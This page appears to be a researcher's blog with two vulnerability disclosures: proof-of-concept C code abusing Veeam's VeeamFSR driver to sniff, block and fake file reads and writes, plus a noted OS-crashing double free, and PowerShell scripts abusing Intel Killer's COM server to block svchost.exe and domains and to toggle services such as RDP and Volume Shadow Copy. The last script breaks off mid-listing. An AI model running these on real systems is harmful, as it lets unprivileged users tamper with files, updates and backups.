❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayZwClose

Veeamon

29 February 2020 at 00:00

Veeam ships a signed file system filter with no ACL on its control device object. The driver allows to control all IO operations on any file in the specified folder. By abusing the driver, an attacker can sniff and fake reads, writes, and other IO operations on any file in the file system regardless of its permissions.

Some time ago, I stumbled upon the Veeam backup solution. Among other files, the installer drops VeeamFSR.sys: a file system filter driver signed by Veeam. A quick overview in IDA showed no DACL on the device object, hence full access to Everyone. So, I decided to take a deeper look. VeeamFSR exposes a set of IoCtls that allow any user-mode application to control all IO operations on the specified folder and its child objects. Once the app specifies the folder to monitor, the driver will pend all IO related to the folder and its children and notify the app about the IO. The app, in turn, can pass the IO, fail it, get the data of the IO, or even fake it. I wrote a small PoC that shows how to manipulate VeeamFSR for fun and profit.

[Setting things up]

First of all, we have to open the control device and tell the driver which folder we want to monitor. CtlCreateMonitoredFolder is a wrapper over the IOCTL_START_FOLDER_MONITORING IoCtl. This IoCtl receives the following struct as an input parameter:

struct MonitoredFolder
{
    HANDLE SharedBufSemaphore;
    DWORD d1;
    HANDLE NewEntrySemaphore;
    DWORD d2;
    DWORD f1;  //+0x10
    DWORD SharedBufferEntriesCount; //+0x14
    DWORD PathLength; //+0x18
    WCHAR PathName[0x80]; //+0x1C
};

and outputs:

struct SharedBufferDescriptor
{
    DWORD FolderIndex;
    DWORD SharedBufferLength;
    DWORD SharedBufferPtr;
    DWORD Unk;
};

Once the call to DeviceControl succeeds, VeeamFSR will wait for all calls to (Nt)CreateFile that contain the monitored folder in the pathname. All such calls will end up in a non-alertable kernel mode sleep in KeWaitForSingleObject. ExplorerWait.png The second important thing is to unwait these calls with the IOCTL_UNWAIT_REQUEST IoCtl. Failing to do so leads to application hangs. By the way, passing UnwaitDescriptor::UserBuffer to the IoCtl causes a double free in the driver, so if you want to kaboom the OS, this is the way to do it. (See CtlUnwaitRequest for details)

Internally, VeeamFSR creates and maintains lists of objects that represent monitored folders, opened streams, and a few other object types, quite similar to what the Windows object manager subsystem does. Every object has a header that contains a reference counter, a pointer to the object methods, etc. The constructor of the MonitoredFolder object, among other things, creates a shared kernel-user buffer in the context of the controller app. Contiguous.png Funny, for some reason Veeam developers think that only a contiguous buffer can be mapped to user-mode memory.

The app receives the pointer to the buffer in the SharedBufferDescriptor::SharedBufferPtr field, which is an output parameter of the IOCTL_START_FOLDER_MONITORING IoCtl. VeeamFSR writes the parameters of IO to the buffer and notifies the app about the new entry by releasing the MonitoredFolder::NewEntrySemaphore semaphore. The controller app might manipulate the IO data in the shared buffer before unwaiting the IO request. Every entry in the buffer consists of a predefined header that identifies the IO and a body which is operation dependent:

struct CtrlBlock
{
    BYTE ProcessIndex;
    BYTE FolderIndex;
    WORD FileIndex : 10;
    WORD MajorFunction : 6;
};

struct SharedBufferEntry
{
    //header
    DWORD Flags;
    union
    {
        CtrlBlock Ctrl;
        DWORD d1;
    };

    //body
    DWORD d2;
    DWORD d3;

    DWORD d4;
    DWORD d5;
    DWORD d6;
    DWORD d7;
};

Now we have everything we need to build a basic IO pump that enables monitoring for the β€˜c:\tmp’ folder, logs open calls to the console, and unwaits them. Throughout the post, I will extend the snippet by adding features such as IO monitoring, failing, and faking. See the full code on GitHub.

int wmain(int arc, wchar_t** argv)
{
    if (arc != 2)
    {
        printf("Usage: veeamon NativePathToFolder\n");
        return -1;
    }

    HANDLE hDevice = CreateFileW(L"\\\\.\\VeeamFSR", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 0, OPEN_EXISTING, 0, 0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("CreateFileW: %d\n", GetLastError());
        return -1;
    }

    HANDLE SharedBufSemaphore;
    HANDLE NewEntrySemaphore;
    WORD CurrEntry = 0;

    PCWCHAR Folder = argv[1];
    if (CtlCreateMonitoredFolder(
        hDevice,
        Folder,
        &SharedBufSemaphore,
        &NewEntrySemaphore) == FALSE)
    {
        printf("Failed setting up monitored folder\n");
        return -1;
    }

    printf("Set up monitor on %ls\n", Folder);
    printf("FolderIndex: 0x%x\n", SharedBufDesc.FolderIndex);
    printf("Shared buffer: %p\n", (PVOID)SharedBufDesc.SharedBufferPtr);
    printf("Shared buffer length: 0x%x\n", SharedBufDesc.SharedBufferLength);
    printf("Uknown: 0x%x\n", SharedBufDesc.Unk);
    printf("\nStarting IO loop\n");

    SharedBufferEntry* IOEntryBuffer = (SharedBufferEntry*)SharedBufDesc.SharedBufferPtr;
    SharedBufferEntry* IOEntry;

    for (;;)
    {
        LONG l;

        ReleaseSemaphore(NewEntrySemaphore, 1, &l);
        WaitForSingleObject(SharedBufSemaphore, INFINITE);

        printf("Entry #%d\n", CurrEntry);

        IOEntry = &IOEntryBuffer[CurrEntry];
        switch (IOEntry->Ctrl.MajorFunction)
        {
        //
        // IRP_MJ_XXX and FastIo handlers
        //
        case 0x0: //IRP_MJ_CREATE
        case 0x33: //Fast _IRP_MJ_CREATE
        {
            PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);
            CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

            break;
        }
        default:
        {
            CHAR OpName[40]{};
            sprintf_s(OpName, 40, "IRP_MJ_%d", IOEntry->Ctrl.MajorFunction);
            PrintEntryInfo(OpName, IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

            break;
        }


        //
        // Special entry handlers
        //
        case 0x37: //Name entry
        {
            printf("\tADD\n");

            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess: %d\n", IOEntry->d6);
                ProcessMapping[IOEntry->d3] = CurrEntry;
                break;
            case FileEntry:
                //.d4 == length
                printf("\tfile: %ls\n", (PWSTR)IOEntry->d6);
                FileMapping[IOEntry->d3] = CurrEntry;
                break;
            case MonitoredEntry:
                //.d4 == length
                printf("\tmonitored dir: %ls\n", (PWSTR)IOEntry->d6);
                break;
            }

            break;
        }
        case 0x38:
        {
            printf("\tDELETION\n");
            switch (IOEntry->d2)
            {
            case ProcessEntry:
                printf("\tprocess\n");
                break;
            case FileEntry:
                printf("\tfile\n");
                break;
            case MonitoredEntry:
                printf("\tmonitored dir\n");
                break;
            }
            printf("\tindex: %d\n", IOEntry->d2);

            break;
        }
        case 0x39:
        {
            printf("\tCOMPLETION of IRP_MJ_%d, index = %d, status = 0x%x, information: 0x%x\n",
                IOEntry->d2,
                IOEntry->d3,
                IOEntry->d4,
                IOEntry->d5);

            break;
        }
        case 0x3A:
        {
            printf("\tWRITE-related entry\n");
            break;
        }
        }

        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->Flags, IOEntry->d1, IOEntry->d2, IOEntry->d3);
        printf("\t0x%.8x 0x%.8x  0x%.8x 0x%.8x\n", IOEntry->d4, IOEntry->d5, IOEntry->d6, IOEntry->d7);

        CurrEntry++;
        if (CurrEntry >= 0x200)
        {
            break;
        }
    }

    CtlDestroyFolder(hDevice, 0);
    CloseHandle(hDevice);

    printf("Press any key...\n");
    getchar();

    return 0;
}

With the snippet running on \Device\HarddiskVolume1\tmp, navigating to the β€˜tmp’ folder triggers a bunch of open calls in Explorer.exe: Basic.png

[Deny everything]

VeeamFSR provides several options for handling waited IO requests:

  1. Pass through the request (boring).
  2. Deny access (better).
  3. Sniff request data (toasty).
  4. Fake request data (outstanding!).

The controller app communicates its decision to the driver by passing one or more flags from the RequestFlags enum to the CtlUnwaitRequest function, which serves as a wrapper for the IOCTL_UNWAIT_REQUEST IoCtl.

enum RequestFlags : BYTE
{
    RF_CallPreHandler = 0x1,
    RF_CallPostHandler = 0x2,
    RF_PassDown = 0x10,
    RF_Wait = 0x20,
    RF_DenyAccess = 0x40,
    RF_CompleteRequest = 0x80,
};

BOOL CtlUnwaitRequest(
    HANDLE hDevice,
    CtrlBlock* Ctrl,
    WORD SharedBufferEntryIndex,
    RequestFlags RFlags
)
{
    struct UnwaitDescriptor
    {
        CtrlBlock Ctrl;

        DWORD SharedBufferEntryIndex;
        RequestFlags RFlags;
        BYTE  IsStatusPresent;
        BYTE  IsUserBufferPresent;
        BYTE  SetSomeFlag;
        DWORD Status;
        DWORD Information;
        PVOID UserBuffer;
        DWORD d6;
        DWORD UserBufferLength;
    };

    DWORD BytesReturned;
    UnwaitDescriptor Unwait = { 0, };

    Unwait.Ctrl.FolderIndex = Ctrl->FolderIndex;
    Unwait.Ctrl.MajorFunction = Ctrl->MajorFunction;
    Unwait.Ctrl.FileIndex = Ctrl->FileIndex;
    Unwait.SharedBufferEntryIndex = SharedBufferEntryIndex;
    Unwait.RFlags = RFlags;

    Unwait.IsUserBufferPresent = 0;

    // Uncomment the code below to crash the OS.
    // VeeamFSR doesn't handle this parameter correctly. Setting IsUserBuffPresent to true 
    // leads to double free in the completion rountine.
    //Unwait.UserBuffer = (PVOID)"aaaabbbb";
    //Unwait.UserBufferLength = 8;
    //Unwait.IsUserBufferPresent = 1;


    BOOL r = DeviceIoControl(hDevice, IOCTL_UNWAIT_REQUEST, &Unwait, sizeof(Unwait), 0, 0, &BytesReturned, 0);
    if (r == FALSE)
    {
        printf("UnwaitRequest failed\n");
    }
    return r;
}

Passing the RFlags_PassDown flags tells the driver to pass through the request. This is what we did in the previous sample. On the other hand, passing the RFlags_DenyAccess flags instructs VeeamFSR to fail the IRP with the status STATUS_ACCESS_DENIED. The snippet below checks the filename of the open operation and fails it if the name contains β€˜Cthon98.txt’

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    PCWCHAR ProtectedName = L"\\Device\\HarddiskVolume1\\tmp\\Cthon98.txt";
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], ProtectedName))
    {
        printf("Denying access to %ls\n", ProtectedName);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_DenyAccess);
        break;
    }

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}

DenyAccess.png

[Sniffing writes, sniffiing reads]

Accessing request data is a bit trickier. Depending on the operation, the data might be available before or after the IRP is completed. This is where the RF_CallPreHandler and RF_CallPostHandler flags come into play. VeeamFSR provides pre and post handlers for all IRP_MJ_XXX functions and maintains an array of RequestFlags enumerations for every opened file. Each entry in the array defines how VeeamFSR should handle the call to the corresponding IRP_MJ_XXX function, regardless of whether it was waited on or not. Setting the RF_CallPre/PostHandler flag for an entry instructs the driver to execute pre/post handlers for all calls to the function, while setting the RFlags_DenyAccess flag fails all requests. The default value for all functions (except for IRP_MJ_CREATE) is RFlags_PassDown. The default for IRP_MJ_CREATE is RF_Wait.

To sniff writes, we have to enable the pre-operation handler for the IRP_MJ_WRITE function. The handler allocates memory in the controller app process, copies the write data to the allocated memory, and notifies the app by creating an IRP_MJ_WRITE entry in the shared buffer. Similarly, read sniffing works; however, it requires a post-operation handler instead of a pre-operation handler. Note that in both cases, RFlags_PassDown should be ORed with the flags since we want to pass the request down the stack. The following snippet enables read and write sniffing:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    FlagsDescs[0].Function = 3; //IRP_MJ_READ
    FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
    FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
    FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}
case 0x4: //IRP_MJ_WRITE
case 0x1E: //Fast IRP_MJ_WRITE
{
    PrintEntryInfo("IRP_MJ_WRITE", IOEntryBuffer, &IOEntryBuffer[CurrEntry]);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    PrintBuffer(Buffer, Length);

    break;
}

Note that sometimes applications map files to memory instead of reading or writing them, so opening a file in Notepad does not always trigger IRP_MJ_READ/WRITE operations Sniff.png

[Faking reads]

Yet another delicious feature that VeeamFSR provides, namely to Everyone, is faking read data. This is what the RFlags_CompleteRequest flag is intended for. Setting this flag for the 3rd (IRP_MJ_READ) entry of the file’s array of flags tells the driver to pend read requests and to map read buffers to the controller app’s address space. The controller app might fill the buffer with fake or modified data and complete the request, passing the RFlags_CompleteRequest flag to apply changes. Unwaiting requests with this flag instructs the driver to complete the request using the IoCompleteRequest function instead of sending it to the actual file system driver. Thus, the controller app can actually fake data of any read operation in the OS. Pure evil, eh? The following snippet fakes the content of AzureDiamond.txt with β€˜*’ symbols, while the real content of the file is the β€˜hunter2’ string:

case 0x0: //IRP_MJ_CREATE
case 0x33: //Fast _IRP_MJ_CREATE
{
    PrintEntryInfo("IRP_MJ_CREATE", IOEntryBuffer, IOEntry);

    FlagsDescritptor FlagsDescs[2];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName))
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = RF_CompleteRequest;
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    else
    {
        FlagsDescs[0].Function = 3; //IRP_MJ_READ
        FlagsDescs[0].RFlags = (RequestFlags)(RF_PassDown | RF_CallPostHandler);
        FlagsDescs[1].Function = 4; //IRP_MJ_WRITE
        FlagsDescs[1].RFlags = (RequestFlags)(RF_PassDown | RF_CallPreHandler);
    }
    CtlSetStreamFlags(hDevice, &IOEntry->Ctrl, FlagsDescs, 2);

    CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_PassDown);

    break;
}
case 0x3: //IRP_MJ_READ
case 0x1D: //Fast IRP_MJ_READ
{
    PrintEntryInfo("IRP_MJ_READ", IOEntryBuffer, IOEntry);

    DWORD Length = IOEntry->d5;
    PBYTE Buffer = (PBYTE)IOEntry->d6;
    DWORD EntryNameIndex = FileMapping[IOEntry->Ctrl.FileIndex];
    if (IsEqualPathName(&IOEntryBuffer[EntryNameIndex], FakeReadName) == FALSE)
    {
        PrintBuffer(Buffer, Length);
    }
    else
    {
        printf("Faking read buffer with '*' for %ls\n", FakeReadName);
        for (unsigned int i = 0; i < Length; i++)
        {
            Buffer[i] = '*';
        }
        PrintBuffer(Buffer, Length);
        CtlUnwaitRequest(hDevice, &IOEntry->Ctrl, CurrEntry, RF_CompleteRequest);
    }

    break;
}

Fake.png

[Breaking bad]

For the sake of simplicity, all previous examples monitored the β€˜c:\tmp’ folder. What if we want to monitor a higher-ranking directory, say, β€˜system32’ or β€˜system32\config’? Easy as pie! Everything written above works for any directory in the OS; you just need to provide the path name to the CtlCreateMonitoredFolder function. The screenshot shows the output of monitoring the β€˜c:\windows\system32’ directory: System32.png

[EOF]

I didn’t reverse all the pre, post, and other handlers of the driver. It actually handles most, if not all, IRP_MJ_XXX requests directed to the file system, granting non-privileged users complete control over file system IO operations.

The vendor was notified about the problem approximately six months ago and has not taken action to address it. I guess they don’t care.

Update: It turns out they eventually did fix it. The vulnerability was discovered ages ago, and while I don’t remember all the details of the exposure process, I recently stumbled upon a CVE entry that describes the vulnerability. Someone, maybe even the vendor, requested the CVE ID. Here it is: https://nvd.nist.gov/vuln/detail/CVE-2020-15518.

Full code and the driver binary are available at the repository.

Diving into Intel Killer bloatware, part 2

18 April 2023 at 00:00

Killer exposes a set of COM interfaces that allow a non-privileged caller to block network access to a specific domain, block network access for a specific process, and to control services registered in the OS. In other words, it provides a firewall-like functionality to any user, allowing them to block network for privileged software and to start, stop or even disable any service in the OS. Intel Killer Performance Suite is network optimization software intended to improve gaming experience. It comes preinstalled on some laptops equipped with Intel Killer NICs, including Dell and a few other OEMs. Intel did not acknowledge the vulnerability, but released a quiet patch after I submitted it to Mitre. In this post I will demonstrate how to use Killer’s COM server to disrupt Windows updates, stop Volume Shadow Service and block access to intel.com.

After submitting the CVE-2021-26258 report, I took a general view of the architecture of Killer Performance Suite. The software has a pretty standard configuration, consisting of three components: a WFP driver, a few services, and a GUI app. The driver is the doer; it implements policies like network limitation, while the services implement the logic and tell the driver what to do. The GUI app, on the other hand, tells the services what the user wants. The ACL of the driver’s device object allows access only for NT AUTHORITY\System and the services also run under this account, giving them access to the driver. The GUI app, however, runs under the current user account. This made me wonder how the GUI app talks to the service? How does it cross the boundary? Does the service authenticate its clients somehow? Usually, such communications are implemented via named pipes, but it wasn’t the case for Killer.

After some research, I figured out that KillerNetworkService.exe hosts a COM server which it uses for communication with the outer world. The server exposes a few COM interfaces that provide core functionality of the suite. COM security is sophisticated, so I became even more curious about how Killer implements it. To explore the server, I opened it in OleView, queried the server’s type library, and got the following interface list:

library KillerNetworkServiceLib
{
    // TLib : OLE Automation : {00020430-0000-0000-C000-000000000046}

    importlib("stdole2.tlb");

    // Forward declare all types defined in this typelib

    interface IBandwidthControlManager;
    dispinterface _INetworkManagerEvents;
    interface INetworkManager;
    interface IConfigurationManager;
    interface IRulesManager;
    interface IFactoryManager;
    interface ICategoriesManager;
    interface ISpeedTestManager;
    interface IConfigurationFileManager;
    interface IServiceManager;
    interface IMultiInterfaceManager;
    interface IMultiInterfaceRoutingManagerType1;
    interface IMultiInterfaceRoutingManagerType2;
    interface IActivityManager;
    interface IGroupBoostManager;

    [
      uuid(7972960B-C3EE-4794-B28B-75F9D36760E6)
    ]
    coclass BandwidthControlManager {
        [default] interface IBandwidthControlManager;
    };
...

See full IDL and scripts used in the post in repository.

The methods of the interfaces have pretty self-descriptive names and help strings. They allow their callers to do various things: connect to a specified WiFi access point (INetworkManager::ConnectToAccessPoint), enable data collection (IConfigurationManager::DataCollection), set domain bandwidth limits (IRulesManager::SetDomainRule), set process bandwidth limits (IRulesManager::SetProcessRule), etc. What I figured out is that the answer to the question β€œHow does Killer implement security checks?” is that it doesn’t implement them at all, making it possible for any user, even a non-administrative one, to act on behalf of NT AUTHORITY\System when calling the methods. COM.png In the following sections I will show how to use the most fruitful features of Intel Killer with a simple PowerShell script, and administrative privileges will not be needed for that.

[Blocking a process]

One of Killer’s features is network bandwidth control. It allows blocking network access to a specific domain or for a specific process, which can be useful for blocking the network connection of security software, e.g. for Windows update disruption. The bandwidth control functionality is provided by Killer’s IRulesManager COM interface. The methods of the interface methods include creating, modifying, and deleting rules that get applied to the network traffic. Every rule has a pattern that defines the cases when the rule should be applied. Killer’s WFP driver checks the properties of every network stream against the rules’ patterns, and if the property matches the pattern, the driver enforces the bandwidth limits associated with that rule. Dependently on the rule type, the pattern contains either a domain name or a path to the image of the process. There may be more sophisticated patterns, but I have not checked them. Here is the list of IRulesManager methods, parameters omitted for clarity:

interface IRulesManager : IDispatch {
    [id(0x00000001), helpstring("Clears all User Generated ProcessDomainRules")]
    HRESULT ClearProcessDomainRules();
    [id(0x00000002), helpstring("Gets the list of Processes")]
    HRESULT GetProcessList(...);
    [id(0x00000003), helpstring("Gets a Process Rule by Name")]
    HRESULT GetProcessRule(...);
    [id(0x00000004), helpstring("Sets a Process Rule by Name")]
    HRESULT SetProcessRule(...);
    [id(0x00000005), helpstring("Removes a User Generated Process Rule by Name")]
    HRESULT RemoveProcessRule(...);
    [id(0x00000006), helpstring("Gets the list of Domains")]
    HRESULT GetDomainList(...);
    [id(0x00000007), helpstring("Gets a Domain Rule by Name")]
    HRESULT GetDomainRule(...);
    [id(0x00000008), helpstring("Sets a Domain Rule by Name")]
    HRESULT SetDomainRule(...);
    [id(0x00000009), helpstring("Removes a User Generated Domain Rule by Name")]
    HRESULT RemoveDomainRule(...);
    [id(0x0000000a), helpstring("Gets the list or Recent Domains - regardless of whether they have a rule")]
    HRESULT GetRecentDomainList(.);
};

To disrupt Windows Update, we need to block network access for the service that implements it. On Windows 10, this service is called wuauserv and is hosted by svchost.exe. So, to disrupt Windows Update, we need to add a rule that matches svchost.exe process and set the rule’s download and upload bandwidth limits to zero.

Killer matches processes based on their image pathnames. A pathname pattern may contain wildcard characters, for example, β€œ.\svchost.exe”, which matches all svchost.exe processes regardless of their absolute path. Adding a blocking rule with the pattern β€œ.\svchost.exe” prevents any svchost.exe processes in the OS from accessing the network. A bit harsh, but it gets the job done. I believe that Killer offers more tailored rules, such as matching processes by loaded modules, but I haven’t explored this feature. Since Killer identifies a process based solely on its pathname, renaming a random executable to svchost.exe will prevent all processes spawned from this file from accessing the network. The following PS script blocks svchost.exe from network access.

$clsid = New-Object Guid '7972960B-C3EE-4794-B28B-75F9D36760E6'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)

$object.Initialize(5, 0, 0, "", "")
$factory = $object.GetFactoryManager()
$rman = $factory.GetRulesManager()
$rman.SetProcessRule("svchost.exe",      #bstrProcessName

                     ".*\\svchost\.exe", #bstrProcessRule

                     "UserDefined",      #bstrCategory

                     $true,              #bHidden

                     $false,             #bPinned

                     3,                  #lPriority

                     0,                  #lBandwidthUp

                     0)                  #lBandwidthDown

The script creates a new Guid object using the specified class ID, 7972960B-C3EE-4794-B28B-75F9D36760E6, which references Killer’s BandwidthControlManager COM object. Then it uses Activator to create an instance of the object and calls the object’s Initialize method. Calling IBandwidthControlManager::Initialize is a mandatory step that should be done before any interaction with the object. Here is the prototype of Initialize method from the extracted MIDL:

HRESULT Initialize(
                [in] long lVersionMajor, 
                [in] long lVersionMinor, 
                [in] long lIdentifier, 
                [in] BSTR bstrToken1, 
                [in] BSTR bstrToken2);

While parameters lIdentifier, bstrToken1 and bstrToken2 just accept zeroes and empty strings, lVersionMajor and lVersionMinor are more important. To make sure that the client is compatible with the server, the server checks the version that the client passes to it in Initialize method and throws exception 0x80010110 in case of mismatch. The vulnerable version of the server is 5.0, Intel bumped the version to 6.0 after the fix.

Next, call to BandwidthControlManager::GetFactoryManager returns factory object which in turn returns RulesManager object via factory’s GetRulesManager method. Finally, IRulesManager::SetProcessRule method creates the rule. The method gets the pathname, the bandwidth limits and other rule’s parameters and passes them to Killer’s WFP driver that implements network traffic prioritization. Here is the prototype of IRulesManager::SetProcessRule method:

HRESULT SetProcessRule(
                [in] BSTR bstrProcessName, 
                [in] BSTR bstrProcessRule, 
                [in] BSTR bstrCategory, 
                [in] VARIANT_BOOL bHidden, 
                [in] VARIANT_BOOL bPinned, 
                [in] long lPriority, 
                [in] long lBandwidthUp, 
                [in] long lBandwidthDown);
  • bstrProcessName - a string that contains the name of the rule. Killer’s client uses the image name of the process, so do I.
  • bstrProcessRule - a string containing the pattern of the rule, which is the pathname of the process. The argument accepts wild characters in the pathname.
  • bstrCategory - a string containing the category of the process rule. β€œUserDefined” seems to be the right choice.
  • bHidden - a boolean that tells Killer’s UI if the rule should be hidden.
  • bPinned - a boolean that tells Killer’s UI if the rule should be pinned.
  • lPriority - an integer value indicating the priority. A value of three works well.
  • lBandwidthUp - an integer value indicating the maximum upload bandwidth for the domain. Set to zero to block uploads.
  • lBandwidthDown - The same as above, but for downloads.

After execution of the script above Windows update will stop working. No network – no updates.

[Blocking a domain]

Blocking network access to a domain is similar to blocking a process because it uses IRulesManager::SetDomainRule method, which is similar to SetProcessRule. The main difference between SetProcessRule and SetDomainRule is that the latter uses a domain name instead of a pathname as a rule’s pattern. Here is the proto of SetDomainRule:

HRESULT SetDomainRule(
                [in] BSTR bstrDomainName,
                [in] BSTR bstrDomainRule,
                [in] BSTR bstrCategory,
                [in] VARIANT_BOOL bHidden,
                [in] VARIANT_BOOL bPinned,
                [in] long lPriority,
                [in] long lBandwidthUp,
                [in] long lBandwidthDown);

Likewise, SetDomainRule supports wide characters for blocking access to a domain that contains a pattern, such as the words β€œ.update.” or β€œ.microsoft.”, just like SetProcessRule does. The following PowerShell script blocks access to intel.com and all of its subdomains:

$clsid = New-Object Guid '7972960B-C3EE-4794-B28B-75F9D36760E6'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)

$object.Initialize(5, 0, 0, "", "")
$factory = $object.GetFactoryManager()
$rman = $factory.GetRulesManager()
$rman.SetDomainRule("intel.com",    #bstrDomainName

                    ".*intel\.com", #bstrDomainRule

                    "UserDefined",  #bstrCategory

                    $true,          #bHidden

                    $false,         #bPinned

                    3,              #lPriority

                    0,              #lBandwidthUp

                    0)              #lBandwidthDown

To block multiple domains, SetDomainRule should be called for every domain in the list.

[Service control]

One more Killer’s feature that is worth mentioning is Boost Mode. The idea behind Boost Mode is, depending on what the user is doing, to start or stop certain services in order to save memory and CPU cycles. The feature accepts service names and their corresponding states and stores them in an XML file located in the Killer’s configuration directory. When Boost mode is turned on, Killer reads the content of the file and applies the stored state of every services listed in the file, overriding its the registry settings. For example, adding the service name β€œgupdate” along with the β€œstopped” state and β€œdisabled” start type means that gupdate (Google update) service will be stopped and disabled when Boost mode is on. The feature is exposed via the IGroupBoostManager COM interface, which provides methods to store service states other service properties to user.xml file located in %ProgramData%\RivetNetworks\Killer\ConfigurationFiles folder. Like other COM interfaces of Killer, IGroupBoostManager does not check the privileges of the caller, allowing non-privileged users to manipulate system services. Here is the list of methods of IGroupBoostManager:

interface IGroupBoostManager : IDispatch {
    [id(0x00000001), propget, helpstring("Gets the Property of the GroupBoost Enabled State - see enum GroupBoostState")]
    HRESULT GroupBoostEnabledState([out, retval] long* pVal);
    [id(0x00000001), propput, helpstring("Gets the Property of the GroupBoost Enabled State - see enum GroupBoostState")]
    HRESULT GroupBoostEnabledState([in] long pVal);
    [id(0x00000002), helpstring("Clears all User Generated Boosted Groups")]
    HRESULT ClearBoostedGroups();
    [id(0x00000003), helpstring("Gets the CPU/Memory Statistics for the stopped services - only valid when Running/Active")]
    HRESULT GetBoostedGroupActiveStastics(...);
    [id(0x00000004), helpstring("Gets the list BoostedPriorities")]
    HRESULT GetBoostedGroupPriorityList([out] SAFEARRAY(long)* ppArraylPriority);
    [id(0x00000005), helpstring("Gets the Rules for a BoostedPriority")]
    HRESULT GetBoostedGroupPriorityActionList(...);
    [id(0x00000006), helpstring("Sets the Rules for a BoostedPriority")]
    HRESULT SetBoostedGroupPriorityActionList(...);
    [id(0x00000007), helpstring("Clears all User Generated Boosted Group Action List for the Priority")]
    HRESULT ClearBoostedGroupPriorityActionList([in] long lPriority);
    [id(0x00000008), helpstring("Gets the list BoostedCategories")]
    HRESULT GetBoostedGroupCategoryList([out] SAFEARRAY(BSTR)* ppArrayCategory);
    [id(0x00000009), helpstring("Gets the Rules for a BoostedCategories")]
    HRESULT GetBoostedGroupCategoryActionList(...);
    [id(0x0000000a), helpstring("Sets the Rules for a BoostedCategories")]
    HRESULT SetBoostedGroupCategoryActionList(...);
    [id(0x0000000b), helpstring("Clears all User Generated Boosted Group Action List for the Category")]
    HRESULT ClearBoostedGroupCategoryActionList([in] BSTR bstrCategory);
};

The most interesting members of the interface are IGroupBoostManager::SetBoostedGroupCategoryActionList and IGroupBoostManager::GroupBoostEnabledState. SetBoostedGroupCategoryActionList is responsible for storing overriden properties of β€œboosted” services to the configuration file. The method accepts four parallel arrays, where the entries of the same index represent the properties of a service: its name, its new start type (usually enabled or disabled), its state (started or stopped), and a boolean value indicating if Killer should wait until the service actually changes its state. SetBoostedGroupCategoryActionList stores this information under BoostedGroups node of user.xml.

Setting the GroupBoostEnabledState property instructs Killer to enable or disable Boost mode. When the property is turned on, Killer loads user.xml and iterates over the child nodes of BoostedGroups node, performing the following actions for each of them:
1) Open the service using the name specified in the node and back up the current state and start type of the service.
2) Apply the state and start type specified in the node.
3) If the wait parameter of the node is set to true, wait until the service actually changes its state.
Setting the GroupBoostEnabledState property to false will recover the original states of the services from the backup created in the first step.

Here go prototypes of the methods:

HRESULT SetBoostedGroupCategoryActionList(
                [in] BSTR bstrCategory, 
                [in] SAFEARRAY(BSTR) pArrayServiceName, 
                [in] SAFEARRAY(long) pArrayServiceStartType, 
                [in] SAFEARRAY(long) pArrayServiceState, 
                [in] SAFEARRAY(VARIANT_BOOL) pArrayWait);
                
HRESULT GroupBoostEnabledState([out, retval] long* pVal);
HRESULT GroupBoostEnabledState([in] long pVal);

And parameters of SetBoostedGroupCategoryActionList:

  • bstrCategory - setting it to β€œUserDefined” does the job.
  • pArrayServiceName - array of service names.
  • pArrayServiceStartType - array of service start types. The paramater corresponds to the values of dwStartType of ChangeServiceConfigW API. Value of 2 (SERVICE_AUTO_START) enables the service while value of 4 (SERVICE_DISABLED) disables it.
  • pArrayServiceState - array of service states. Value of 1 stops the service, value of 2 starts it.
  • pArrayWait - array of waiting parameters. Not waiting (setting everything to false) should be Ok.

The script below enables and starts two services: RemoteRegistry and Remote Desktop and stops and disables Volume Shadow Copy service.

$clsid = New-Object Guid '7972960B-C3EE-4794-B28B-75F9D36760E6'
$type = [Type]::GetTypeFromCLSID($clsid)
$object = [Activator]::CreateInstance($type)

$object.Initialize(5, 0, 0, "", "")
$factory = $object.GetFactoryManager()
$boostman = $factory.GetGroupBoostManager()

#array of service names

$services = [string[]]@("RemoteRegistry", "TermService", "vss") 
#array of start types

#SERVICE_AUTO_START (2) for remote registry and rdp

#SERVICE_DISABLED (4) for vss

$starts = [int[]]@(2, 2, 4)
